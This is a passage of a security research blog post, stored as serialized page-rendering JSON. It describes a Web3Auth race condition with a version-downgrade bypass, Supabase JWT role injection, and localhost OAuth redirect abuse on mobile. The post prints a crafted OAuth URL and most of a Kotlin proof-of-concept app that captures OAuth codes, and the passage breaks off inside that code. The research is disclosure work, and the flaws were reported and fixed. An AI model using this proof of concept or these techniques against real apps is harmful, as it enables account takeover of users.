Condition",{"type":22,"tag":31,"props":71633,"children":71634},{},[71635,71637,71642,71644,71650,71652,71657,71659,71664],{"type":28,"value":71636},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":22,"tag":114,"props":71638,"children":71640},{"className":71639},[],[71641],{"type":28,"value":71549},{"type":28,"value":71643}," and later used in the ",{"type":22,"tag":114,"props":71645,"children":71647},{"className":71646},[],[71648],{"type":28,"value":71649},"/end",{"type":28,"value":71651}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":22,"tag":114,"props":71653,"children":71655},{"className":71654},[],[71656],{"type":28,"value":71549},{"type":28,"value":71658},") but before  use (",{"type":22,"tag":114,"props":71660,"children":71662},{"className":71661},[],[71663],{"type":28,"value":71649},{"type":28,"value":22702},{"type":22,"tag":31,"props":71666,"children":71667},{},[71668,71670,71677,71679,71684],{"type":28,"value":71669},"To exploit this ",{"type":22,"tag":42,"props":71671,"children":71674},{"href":71672,"rel":71673},"https://portswigger.net/web-security/race-conditions",[46],[71675],{"type":28,"value":71676},"race condition",{"type":28,"value":71678},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":22,"tag":114,"props":71680,"children":71682},{"className":71681},[],[71683],{"type":28,"value":71594},{"type":28,"value":71685}," but with modified malicious parameters.",{"type":22,"tag":31,"props":71687,"children":71688},{},[71689],{"type":22,"tag":74,"props":71690,"children":71691},{},[71692],{"type":28,"value":71693},"What can be modified to achieve something impactful?",{"type":22,"tag":31,"props":71695,"children":71696},{},[71697,71699,71705,71707,71712],{"type":28,"value":71698},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":22,"tag":114,"props":71700,"children":71702},{"className":71701},[],[71703],{"type":28,"value":71704},"redirect_uri",{"type":28,"value":71706}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":22,"tag":114,"props":71708,"children":71710},{"className":71709},[],[71711],{"type":28,"value":71536},{"type":28,"value":292},{"type":22,"tag":31,"props":71714,"children":71715},{},[71716],{"type":22,"tag":5928,"props":71717,"children":71719},{"alt":52519,"src":71718},"/posts/web2-in-web3/image-3.png",[],{"type":22,"tag":31,"props":71721,"children":71722},{},[71723],{"type":28,"value":71724},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":22,"tag":1289,"props":71726,"children":71728},{"id":71727},"patch-bypass",[71729],{"type":28,"value":71730},"Patch & Bypass",{"type":22,"tag":31,"props":71732,"children":71733},{},[71734],{"type":28,"value":71735},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":22,"tag":31,"props":71737,"children":71738},{},[71739],{"type":28,"value":71740},"To bypass the fix we were able to change the version in the URL:",{"type":22,"tag":64,"props":71742,"children":71743},{},[71744,71755],{"type":22,"tag":68,"props":71745,"children":71746},{},[71747,71753],{"type":22,"tag":114,"props":71748,"children":71750},{"className":71749},[],[71751],{"type":28,"value":71752},"https://auth.web3auth.io/v8/start",{"type":28,"value":71754}," (latest version)",{"type":22,"tag":68,"props":71756,"children":71757},{},[71758,71764],{"type":22,"tag":114,"props":71759,"children":71761},{"className":71760},[],[71762],{"type":28,"value":71763},"https://auth.web3auth.io/v6/start",{"type":28,"value":71765}," (bypass)",{"type":22,"tag":31,"props":71767,"children":71768},{},[71769],{"type":28,"value":71770},"We reported this issue, and it was addressed just as quickly!",{"type":22,"tag":23,"props":71772,"children":71774},{"id":71773},"supabase-metadata-manipulation",[71775],{"type":28,"value":71776},"Supabase metadata manipulation",{"type":22,"tag":1289,"props":71778,"children":71780},{"id":71779},"supabase-authentication-flow",[71781],{"type":28,"value":71782},"Supabase Authentication flow",{"type":22,"tag":31,"props":71784,"children":71785},{},[71786,71793,71795,71802],{"type":22,"tag":42,"props":71787,"children":71790},{"href":71788,"rel":71789},"https://supabase.com/docs/guides/auth",[46],[71791],{"type":28,"value":71792},"Supabase",{"type":28,"value":71794}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":22,"tag":42,"props":71796,"children":71799},{"href":71797,"rel":71798},"https://jwt.io/",[46],[71800],{"type":28,"value":71801},"JWT",{"type":28,"value":71803}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":22,"tag":1289,"props":71805,"children":71807},{"id":71806},"jwt-verification",[71808],{"type":28,"value":71809},"JWT verification",{"type":22,"tag":31,"props":71811,"children":71812},{},[71813,71815,71820,71821,71827,71829,71835],{"type":28,"value":71814},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":22,"tag":114,"props":71816,"children":71818},{"className":71817},[],[71819],{"type":28,"value":71462},{"type":28,"value":12991},{"type":22,"tag":114,"props":71822,"children":71824},{"className":71823},[],[71825],{"type":28,"value":71826},"identity_data",{"type":28,"value":71828},", in a signup request by manipulating the input inside the ",{"type":22,"tag":114,"props":71830,"children":71832},{"className":71831},[],[71833],{"type":28,"value":71834},"\"data\": {}",{"type":28,"value":71836}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":22,"tag":31,"props":71838,"children":71839},{},[71840,71842,71848,71849,71855,71857,71863],{"type":28,"value":71841},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":22,"tag":114,"props":71843,"children":71845},{"className":71844},[],[71846],{"type":28,"value":71847},"\"role\": \"admin\"",{"type":28,"value":15128},{"type":22,"tag":114,"props":71850,"children":71852},{"className":71851},[],[71853],{"type":28,"value":71854},"\"email_verified\": true",{"type":28,"value":71856},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":22,"tag":114,"props":71858,"children":71860},{"className":71859},[],[71861],{"type":28,"value":71862},"\"test\": \"test\"",{"type":28,"value":71864},", enabling us to inject arbitrary data into the final JWT token.",{"type":22,"tag":31,"props":71866,"children":71867},{},[71868],{"type":22,"tag":5928,"props":71869,"children":71871},{"alt":52519,"src":71870},"/posts/web2-in-web3/image-4.png",[],{"type":22,"tag":31,"props":71873,"children":71874},{},[71875],{"type":28,"value":71876},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":22,"tag":31,"props":71878,"children":71879},{},[71880],{"type":28,"value":71881},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":22,"tag":107,"props":71883,"children":71885},{"className":33302,"code":71884,"language":33304,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[71886],{"type":22,"tag":114,"props":71887,"children":71888},{"__ignoreMap":7},[71889,71914,71926,71995,72044,72092,72137,72160,72197,72213,72220],{"type":22,"tag":118,"props":71890,"children":71891},{"class":120,"line":121},[71892,71896,71901,71905,71910],{"type":22,"tag":118,"props":71893,"children":71894},{"style":146},[71895],{"type":28,"value":33316},{"type":22,"tag":118,"props":71897,"children":71898},{"style":532},[71899],{"type":28,"value":71900}," parseSupaBase",{"type":22,"tag":118,"props":71902,"children":71903},{"style":125},[71904],{"type":28,"value":540},{"type":22,"tag":118,"props":71906,"children":71907},{"style":204},[71908],{"type":28,"value":71909},"token",{"type":22,"tag":118,"props":71911,"children":71912},{"style":125},[71913],{"type":28,"value":16783},{"type":22,"tag":118,"props":71915,"children":71916},{"class":120,"line":142},[71917,71922],{"type":22,"tag":118,"props":71918,"children":71919},{"style":1480},[71920],{"type":28,"value":71921},"    try",{"type":22,"tag":118,"props":71923,"children":71924},{"style":125},[71925],{"type":28,"value":1474},{"type":22,"tag":118,"props":71927,"children":71928},{"class":120,"line":177},[71929,71933,71937,71942,71946,71951,71955,71960,71964,71968,71973,71977,71982,71986,71991],{"type":22,"tag":118,"props":71930,"children":71931},{"style":146},[71932],{"type":28,"value":34840},{"type":22,"tag":118,"props":71934,"children":71935},{"style":125},[71936],{"type":28,"value":24983},{"type":22,"tag":118,"props":71938,"children":71939},{"style":204},[71940],{"type":28,"value":71941},"header",{"type":22,"tag":118,"props":71943,"children":71944},{"style":125},[71945],{"type":28,"value":231},{"type":22,"tag":118,"props":71947,"children":71948},{"style":204},[71949],{"type":28,"value":71950},"payload",{"type":22,"tag":118,"props":71952,"children":71953},{"style":125},[71954],{"type":28,"value":231},{"type":22,"tag":118,"props":71956,"children":71957},{"style":204},[71958],{"type":28,"value":71959},"signature",{"type":22,"tag":118,"props":71961,"children":71962},{"style":125},[71963],{"type":28,"value":10663},{"type":22,"tag":118,"props":71965,"children":71966},{"style":210},[71967],{"type":28,"value":282},{"type":22,"tag":118,"props":71969,"children":71970},{"style":204},[71971],{"type":28,"value":71972}," token",{"type":22,"tag":118,"props":71974,"children":71975},{"style":125},[71976],{"type":28,"value":292},{"type":22,"tag":118,"props":71978,"children":71979},{"style":532},[71980],{"type":28,"value":71981},"split",{"type":22,"tag":118,"props":71983,"children":71984},{"style":125},[71985],{"type":28,"value":540},{"type":22,"tag":118,"props":71987,"children":71988},{"style":1866},[71989],{"type":28,"value":71990},"'.'",{"type":22,"tag":118,"props":71992,"children":71993},{"style":125},[71994],{"type":28,"value":682},{"type":22,"tag":118,"props":71996,"children":71997},{"class":120,"line":195},[71998,72002,72007,72011,72015,72019,72023,72027,72032,72036,72040],{"type":22,"tag":118,"props":71999,"children":72000},{"style":146},[72001],{"type":28,"value":34840},{"type":22,"tag":118,"props":72003,"children":72004},{"style":204},[72005],{"type":28,"value":72006}," decodedHeader",{"type":22,"tag":118,"props":72008,"children":72009},{"style":210},[72010],{"type":28,"value":837},{"type":22,"tag":118,"props":72012,"children":72013},{"style":204},[72014],{"type":28,"value":39469},{"type":22,"tag":118,"props":72016,"children":72017},{"style":125},[72018],{"type":28,"value":292},{"type":22,"tag":118,"props":72020,"children":72021},{"style":532},[72022],{"type":28,"value":41153},{"type":22,"tag":118,"props":72024,"children":72025},{"style":125},[72026],{"type":28,"value":540},{"type":22,"tag":118,"props":72028,"children":72029},{"style":532},[72030],{"type":28,"value":72031},"atob",{"type":22,"tag":118,"props":72033,"children":72034},{"style":125},[72035],{"type":28,"value":540},{"type":22,"tag":118,"props":72037,"children":72038},{"style":204},[72039],{"type":28,"value":71941},{"type":22,"tag":118,"props":72041,"children":72042},{"style":125},[72043],{"type":28,"value":9230},{"type":22,"tag":118,"props":72045,"children":72046},{"class":120,"line":244},[72047,72051,72056,72060,72064,72068,72072,72076,72080,72084,72088],{"type":22,"tag":118,"props":72048,"children":72049},{"style":146},[72050],{"type":28,"value":34840},{"type":22,"tag":118,"props":72052,"children":72053},{"style":204},[72054],{"type":28,"value":72055}," decodedPayload",{"type":22,"tag":118,"props":72057,"children":72058},{"style":210},[72059],{"type":28,"value":837},{"type":22,"tag":118,"props":72061,"children":72062},{"style":204},[72063],{"type":28,"value":39469},{"type":22,"tag":118,"props":72065,"children":72066},{"style":125},[72067],{"type":28,"value":292},{"type":22,"tag":118,"props":72069,"children":72070},{"style":532},[72071],{"type":28,"value":41153},{"type":22,"tag":118,"props":72073,"children":72074},{"style":125},[72075],{"type":28,"value":540},{"type":22,"tag":118,"props":72077,"children":72078},{"style":532},[72079],{"type":28,"value":72031},{"type":22,"tag":118,"props":72081,"children":72082},{"style":125},[72083],{"type":28,"value":540},{"type":22,"tag":118,"props":72085,"children":72086},{"style":204},[72087],{"type":28,"value":71950},{"type":22,"tag":118,"props":72089,"children":72090},{"style":125},[72091],{"type":28,"value":9230},{"type":22,"tag":118,"props":72093,"children":72094},{"class":120,"line":253},[72095,72099,72103,72108,72112,72116,72121,72125,72129,72133],{"type":22,"tag":118,"props":72096,"children":72097},{"style":1480},[72098],{"type":28,"value":2223},{"type":22,"tag":118,"props":72100,"children":72101},{"style":125},[72102],{"type":28,"value":11584},{"type":22,"tag":118,"props":72104,"children":72105},{"style":204},[72106],{"type":28,"value":72107},"header:",{"type":22,"tag":118,"props":72109,"children":72110},{"style":204},[72111],{"type":28,"value":72006},{"type":22,"tag":118,"props":72113,"children":72114},{"style":125},[72115],{"type":28,"value":231},{"type":22,"tag":118,"props":72117,"children":72118},{"style":204},[72119],{"type":28,"value":72120},"payload:",{"type":22,"tag":118,"props":72122,"children":72123},{"style":204},[72124],{"type":28,"value":72055},{"type":22,"tag":118,"props":72126,"children":72127},{"style":125},[72128],{"type":28,"value":231},{"type":22,"tag":118,"props":72130,"children":72131},{"style":204},[72132],{"type":28,"value":71959},{"type":22,"tag":118,"props":72134,"children":72135},{"style":125},[72136],{"type":28,"value":20265},{"type":22,"tag":118,"props":72138,"children":72139},{"class":120,"line":263},[72140,72144,72148,72152,72156],{"type":22,"tag":118,"props":72141,"children":72142},{"style":125},[72143],{"type":28,"value":17746},{"type":22,"tag":118,"props":72145,"children":72146},{"style":1480},[72147],{"type":28,"value":50351},{"type":22,"tag":118,"props":72149,"children":72150},{"style":125},[72151],{"type":28,"value":842},{"type":22,"tag":118,"props":72153,"children":72154},{"style":204},[72155],{"type":28,"value":16841},{"type":22,"tag":118,"props":72157,"children":72158},{"style":125},[72159],{"type":28,"value":16783},{"type":22,"tag":118,"props":72161,"children":72162},{"class":120,"line":318},[72163,72168,72172,72176,72180,72185,72189,72193],{"type":22,"tag":118,"props":72164,"children":72165},{"style":204},[72166],{"type":28,"value":72167},"        console",{"type":22,"tag":118,"props":72169,"children":72170},{"style":125},[72171],{"type":28,"value":292},{"type":22,"tag":118,"props":72173,"children":72174},{"style":532},[72175],{"type":28,"value":16841},{"type":22,"tag":118,"props":72177,"children":72178},{"style":125},[72179],{"type":28,"value":540},{"type":22,"tag":118,"props":72181,"children":72182},{"style":1866},[72183],{"type":28,"value":72184},"'Error parsing token:'",{"type":22,"tag":118,"props":72186,"children":72187},{"style":125},[72188],{"type":28,"value":231},{"type":22,"tag":118,"props":72190,"children":72191},{"style":204},[72192],{"type":28,"value":16841},{"type":22,"tag":118,"props":72194,"children":72195},{"style":125},[72196],{"type":28,"value":682},{"type":22,"tag":118,"props":72198,"children":72199},{"class":120,"line":351},[72200,72204,72209],{"type":22,"tag":118,"props":72201,"children":72202},{"style":1480},[72203],{"type":28,"value":2223},{"type":22,"tag":118,"props":72205,"children":72206},{"style":146},[72207],{"type":28,"value":72208}," null",{"type":22,"tag":118,"props":72210,"children":72211},{"style":125},[72212],{"type":28,"value":801},{"type":22,"tag":118,"props":72214,"children":72215},{"class":120,"line":359},[72216],{"type":22,"tag":118,"props":72217,"children":72218},{"style":125},[72219],{"type":28,"value":1254},{"type":22,"tag":118,"props":72221,"children":72222},{"class":120,"line":368},[72223],{"type":22,"tag":118,"props":72224,"children":72225},{"style":125},[72226],{"type":28,"value":481},{"type":22,"tag":1289,"props":72228,"children":72229},{"id":42275},[72230],{"type":28,"value":42278},{"type":22,"tag":31,"props":72232,"children":72233},{},[72234,72236,72243,72245,72251],{"type":28,"value":72235},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":22,"tag":42,"props":72237,"children":72240},{"href":72238,"rel":72239},"https://supabase.com/docs/guides/database/postgres/row-level-security",[46],[72241],{"type":28,"value":72242},"Row-Level Security",{"type":28,"value":72244}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":22,"tag":114,"props":72246,"children":72248},{"className":72247},[],[72249],{"type":28,"value":72250},"app_metadata",{"type":28,"value":72252},". These fields must be strictly validated at every step of their creation and update processes.",{"type":22,"tag":23,"props":72254,"children":72256},{"id":72255},"oauth-in-development-environments",[72257],{"type":28,"value":72258},"OAuth in development environments",{"type":22,"tag":31,"props":72260,"children":72261},{},[72262,72264,72271,72273,72278],{"type":28,"value":72263},"After watching a ",{"type":22,"tag":42,"props":72265,"children":72268},{"href":72266,"rel":72267},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[46],[72269],{"type":28,"value":72270},"talk",{"type":28,"value":72272}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":22,"tag":114,"props":72274,"children":72276},{"className":72275},[],[72277],{"type":28,"value":71704},{"type":28,"value":72279}," parameter during the OAuth flow.",{"type":22,"tag":31,"props":72281,"children":72282},{},[72283,72285,72292],{"type":28,"value":72284},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":22,"tag":42,"props":72286,"children":72289},{"href":72287,"rel":72288},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[46],[72290],{"type":28,"value":72291},"Remote Code Execution",{"type":28,"value":72293}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":22,"tag":31,"props":72295,"children":72296},{},[72297,72299,72305],{"type":28,"value":72298},"In one of our client's implementations, we identified that ",{"type":22,"tag":114,"props":72300,"children":72302},{"className":72301},[],[72303],{"type":28,"value":72304},"localhost:3000",{"type":28,"value":72306}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":22,"tag":31,"props":72308,"children":72309},{},[72310],{"type":28,"value":72311},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":22,"tag":107,"props":72313,"children":72317},{"className":72314,"code":72315,"language":72316,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[72318],{"type":22,"tag":114,"props":72319,"children":72320},{"__ignoreMap":7},[72321],{"type":22,"tag":118,"props":72322,"children":72323},{"class":120,"line":121},[72324],{"type":22,"tag":118,"props":72325,"children":72326},{},[72327],{"type":28,"value":72315},{"type":22,"tag":31,"props":72329,"children":72330},{},[72331],{"type":28,"value":72332},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":22,"tag":107,"props":72334,"children":72338},{"className":72335,"code":72336,"language":72337,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[72339],{"type":22,"tag":114,"props":72340,"children":72341},{"__ignoreMap":7},[72342,72369,72376,72408,72430,72437,72445,72467,72479,72491,72526,72551,72601,72608,72615,72622,72630,72652,72687,72700,72707,72714,72735,72761,72773,72794,72811,72823,72849,72888,72909,72917,72929,72954,72966,72979,72987,72994,73001,73008,73015,73045,73052],{"type":22,"tag":118,"props":72343,"children":72344},{"class":120,"line":121},[72345,72350,72355,72360,72365],{"type":22,"tag":118,"props":72346,"children":72347},{"style":146},[72348],{"type":28,"value":72349},"class",{"type":22,"tag":118,"props":72351,"children":72352},{"style":131},[72353],{"type":28,"value":72354}," MainActivity",{"type":22,"tag":118,"props":72356,"children":72357},{"style":125},[72358],{"type":28,"value":72359}," : ",{"type":22,"tag":118,"props":72361,"children":72362},{"style":131},[72363],{"type":28,"value":72364},"AppCompatActivity",{"type":22,"tag":118,"props":72366,"children":72367},{"style":125},[72368],{"type":28,"value":2215},{"type":22,"tag":118,"props":72370,"children":72371},{"class":120,"line":142},[72372],{"type":22,"tag":118,"props":72373,"children":72374},{"emptyLinePlaceholder":15},[72375],{"type":28,"value":250},{"type":22,"tag":118,"props":72377,"children":72378},{"class":120,"line":177},[72379,72384,72388,72393,72398,72403],{"type":22,"tag":118,"props":72380,"children":72381},{"style":146},[72382],{"type":28,"value":72383},"    override",{"type":22,"tag":118,"props":72385,"children":72386},{"style":146},[72387],{"type":28,"value":8216},{"type":22,"tag":118,"props":72389,"children":72390},{"style":532},[72391],{"type":28,"value":72392}," onCreate",{"type":22,"tag":118,"props":72394,"children":72395},{"style":125},[72396],{"type":28,"value":72397},"(savedInstanceState: ",{"type":22,"tag":118,"props":72399,"children":72400},{"style":131},[72401],{"type":28,"value":72402},"Bundle",{"type":22,"tag":118,"props":72404,"children":72405},{"style":125},[72406],{"type":28,"value":72407},"?) {\n",{"type":22,"tag":118,"props":72409,"children":72410},{"class":120,"line":195},[72411,72416,72420,72425],{"type":22,"tag":118,"props":72412,"children":72413},{"style":146},[72414],{"type":28,"value":72415},"        super",{"type":22,"tag":118,"props":72417,"children":72418},{"style":125},[72419],{"type":28,"value":292},{"type":22,"tag":118,"props":72421,"children":72422},{"style":532},[72423],{"type":28,"value":72424},"onCreate",{"type":22,"tag":118,"props":72426,"children":72427},{"style":125},[72428],{"type":28,"value":72429},"(savedInstanceState)\n",{"type":22,"tag":118,"props":72431,"children":72432},{"class":120,"line":244},[72433],{"type":22,"tag":118,"props":72434,"children":72435},{"emptyLinePlaceholder":15},[72436],{"type":28,"value":250},{"type":22,"tag":118,"props":72438,"children":72439},{"class":120,"line":253},[72440],{"type":22,"tag":118,"props":72441,"children":72442},{"style":257},[72443],{"type":28,"value":72444},"        // Start the Ktor web server\n",{"type":22,"tag":118,"props":72446,"children":72447},{"class":120,"line":263},[72448,72453,72458,72463],{"type":22,"tag":118,"props":72449,"children":72450},{"style":532},[72451],{"type":28,"value":72452},"        CoroutineScope",{"type":22,"tag":118,"props":72454,"children":72455},{"style":125},[72456],{"type":28,"value":72457},"(Dispatchers.IO).",{"type":22,"tag":118,"props":72459,"children":72460},{"style":532},[72461],{"type":28,"value":72462},"launch",{"type":22,"tag":118,"props":72464,"children":72465},{"style":125},[72466],{"type":28,"value":1474},{"type":22,"tag":118,"props":72468,"children":72469},{"class":120,"line":318},[72470,72475],{"type":22,"tag":118,"props":72471,"children":72472},{"style":1480},[72473],{"type":28,"value":72474},"            try",{"type":22,"tag":118,"props":72476,"children":72477},{"style":125},[72478],{"type":28,"value":1474},{"type":22,"tag":118,"props":72480,"children":72481},{"class":120,"line":351},[72482,72487],{"type":22,"tag":118,"props":72483,"children":72484},{"style":532},[72485],{"type":28,"value":72486},"                startWebServer",{"type":22,"tag":118,"props":72488,"children":72489},{"style":125},[72490],{"type":28,"value":2708},{"type":22,"tag":118,"props":72492,"children":72493},{"class":120,"line":359},[72494,72499,72504,72508,72513,72517,72522],{"type":22,"tag":118,"props":72495,"children":72496},{"style":125},[72497],{"type":28,"value":72498},"                Log.",{"type":22,"tag":118,"props":72500,"children":72501},{"style":532},[72502],{"type":28,"value":72503},"d",{"type":22,"tag":118,"props":72505,"children":72506},{"style":125},[72507],{"type":28,"value":540},{"type":22,"tag":118,"props":72509,"children":72510},{"style":1866},[72511],{"type":28,"value":72512},"\"WebServer\"",{"type":22,"tag":118,"props":72514,"children":72515},{"style":125},[72516],{"type":28,"value":231},{"type":22,"tag":118,"props":72518,"children":72519},{"style":1866},[72520],{"type":28,"value":72521},"\"Server started on http://localhost:3000\"",{"type":22,"tag":118,"props":72523,"children":72524},{"style":125},[72525],{"type":28,"value":3665},{"type":22,"tag":118,"props":72527,"children":72528},{"class":120,"line":368},[72529,72533,72537,72542,72547],{"type":22,"tag":118,"props":72530,"children":72531},{"style":125},[72532],{"type":28,"value":1611},{"type":22,"tag":118,"props":72534,"children":72535},{"style":146},[72536],{"type":28,"value":50351},{"type":22,"tag":118,"props":72538,"children":72539},{"style":125},[72540],{"type":28,"value":72541}," (e: ",{"type":22,"tag":118,"props":72543,"children":72544},{"style":131},[72545],{"type":28,"value":72546},"Exception",{"type":22,"tag":118,"props":72548,"children":72549},{"style":125},[72550],{"type":28,"value":16783},{"type":22,"tag":118,"props":72552,"children":72553},{"class":120,"line":384},[72554,72558,72562,72566,72570,72574,72579,72583,72588,72592,72596],{"type":22,"tag":118,"props":72555,"children":72556},{"style":125},[72557],{"type":28,"value":72498},{"type":22,"tag":118,"props":72559,"children":72560},{"style":532},[72561],{"type":28,"value":53395},{"type":22,"tag":118,"props":72563,"children":72564},{"style":125},[72565],{"type":28,"value":540},{"type":22,"tag":118,"props":72567,"children":72568},{"style":1866},[72569],{"type":28,"value":72512},{"type":22,"tag":118,"props":72571,"children":72572},{"style":125},[72573],{"type":28,"value":231},{"type":22,"tag":118,"props":72575,"children":72576},{"style":1866},[72577],{"type":28,"value":72578},"\"Error starting server: ",{"type":22,"tag":118,"props":72580,"children":72581},{"style":146},[72582],{"type":28,"value":36048},{"type":22,"tag":118,"props":72584,"children":72585},{"style":210},[72586],{"type":28,"value":72587},"e.message",{"type":22,"tag":118,"props":72589,"children":72590},{"style":146},[72591],{"type":28,"value":36080},{"type":22,"tag":118,"props":72593,"children":72594},{"style":1866},[72595],{"type":28,"value":22027},{"type":22,"tag":118,"props":72597,"children":72598},{"style":125},[72599],{"type":28,"value":72600},", e)\n",{"type":22,"tag":118,"props":72602,"children":72603},{"class":120,"line":417},[72604],{"type":22,"tag":118,"props":72605,"children":72606},{"style":125},[72607],{"type":28,"value":1827},{"type":22,"tag":118,"props":72609,"children":72610},{"class":120,"line":425},[72611],{"type":22,"tag":118,"props":72612,"children":72613},{"style":125},[72614],{"type":28,"value":1835},{"type":22,"tag":118,"props":72616,"children":72617},{"class":120,"line":441},[72618],{"type":22,"tag":118,"props":72619,"children":72620},{"emptyLinePlaceholder":15},[72621],{"type":28,"value":250},{"type":22,"tag":118,"props":72623,"children":72624},{"class":120,"line":475},[72625],{"type":22,"tag":118,"props":72626,"children":72627},{"style":257},[72628],{"type":28,"value":72629},"        // Open the Google OAuth page\n",{"type":22,"tag":118,"props":72631,"children":72632},{"class":120,"line":484},[72633,72638,72643,72647],{"type":22,"tag":118,"props":72634,"children":72635},{"style":146},[72636],{"type":28,"value":72637},"        val",{"type":22,"tag":118,"props":72639,"children":72640},{"style":125},[72641],{"type":28,"value":72642}," googleOAuthUrl ",{"type":22,"tag":118,"props":72644,"children":72645},{"style":210},[72646],{"type":28,"value":282},{"type":22,"tag":118,"props":72648,"children":72649},{"style":1866},[72650],{"type":28,"value":72651}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":118,"props":72653,"children":72654},{"class":120,"line":492},[72655,72659,72664,72668,72673,72678,72682],{"type":22,"tag":118,"props":72656,"children":72657},{"style":146},[72658],{"type":28,"value":72637},{"type":22,"tag":118,"props":72660,"children":72661},{"style":125},[72662],{"type":28,"value":72663}," browserIntent ",{"type":22,"tag":118,"props":72665,"children":72666},{"style":210},[72667],{"type":28,"value":282},{"type":22,"tag":118,"props":72669,"children":72670},{"style":532},[72671],{"type":28,"value":72672}," Intent",{"type":22,"tag":118,"props":72674,"children":72675},{"style":125},[72676],{"type":28,"value":72677},"(Intent.ACTION_VIEW, 